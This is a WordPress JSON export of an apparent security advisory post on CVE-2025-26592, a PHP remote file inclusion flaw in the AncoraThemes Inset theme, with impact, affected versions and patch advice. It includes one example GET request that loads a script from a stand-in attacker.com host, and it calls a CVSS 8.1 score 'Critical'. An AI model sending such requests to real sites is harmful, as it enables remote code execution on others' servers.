{"id":52204,"date":"2025-06-15T12:04:55","date_gmt":"2025-06-15T12:04:55","guid":{"rendered":""},"modified":"2025-10-05T05:20:32","modified_gmt":"2025-10-05T11:20:32","slug":"cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset\/","title":{"rendered":"<strong>CVE-2025-26592: PHP Remote File Inclusion Vulnerability in AncoraThemes Inset<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include\/require statement in PHP program, more commonly known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to the potential system compromise or data leakage it presents, which could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21480-memory-corruption-vulnerability-in-gpu-micronode-leads-to-unauthorized-command-execution\/\"  data-wpil-monitor-id=\"58502\">lead to unauthorized<\/a> access to sensitive information or even total control over the affected system. The severity of the issue, combined with the popularity of the affected software, makes <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-49842-critical-memory-corruption-vulnerability-in-protected-vm-address-space\/\"  data-wpil-monitor-id=\"58883\">addressing this vulnerability<\/a> an urgent task for those utilizing AncoraThemes Inset.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-26592<br \/>\nSeverity: Critical (CVSS score 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58712\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1823224890\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AncoraThemes Inset | Up to and including 1.18.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33073-windows-smb-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"61071\">improper control<\/a> of filename for include\/require statement in PHP within AncoraThemes Inset. This allows an attacker to manipulate the file path that&#8217;s passed to these PHP include\/require functions, which can then be used to include files from <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32105-buffer-overflow-vulnerability-in-sangoma-img2020-http-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"58546\">remote servers<\/a>. This remote file inclusion (RFI) vulnerability provides an opportunity for an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32106-unauthenticated-remote-code-execution-in-audiocodes-mediapack-mp-11x\/\"  data-wpil-monitor-id=\"58567\">execute arbitrary code<\/a> on the server, leading to potential system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3444856142\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. In this case, an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5739-critical-buffer-overflow-vulnerability-in-totolink-x15-http-post-request-handler\/\"  data-wpil-monitor-id=\"60101\">HTTP request<\/a> is used to pass a malicious file path to the server:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/path\/to\/vulnerable\/script.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n<p>In this example, the &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53964-critical-file-manipulation-vulnerability-in-goldendict\/\"  data-wpil-monitor-id=\"67165\">file&#8217; parameter in the URL is manipulated<\/a> to include a file from an attacker-controlled server (&#8216;attacker.com&#8217;). The content of &#8216;malicious_script.txt&#8217; would then be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45854-arbitrary-code-execution-vulnerability-in-jehc-bpm-2-0-1\/\"  data-wpil-monitor-id=\"58664\">executed on the vulnerable<\/a> server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The recommended mitigation <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49013-code-injection-vulnerability-in-wilderforge-projects-due-to-unsafe-github-actions-usage\/\"  data-wpil-monitor-id=\"60100\">action for this vulnerability<\/a> is to apply the vendor&#8217;s patch. In cases where immediate patching is not possible, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these methods can only reduce the risk and not fully eliminate it; applying the vendor\u2019s patch should be the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47569-sql-injection-vulnerability-in-wpswings-woocommerce-ultimate-gift-card\/\"  data-wpil-monitor-id=\"88917\">ultimate goal to resolve the vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include\/require statement in PHP program, more commonly known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-52204","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=52204"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52204\/revisions"}],"predecessor-version":[{"id":81737,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52204\/revisions\/81737"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=52204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=52204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=52204"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=52204"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=52204"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=52204"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=52204"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=52204"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=52204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}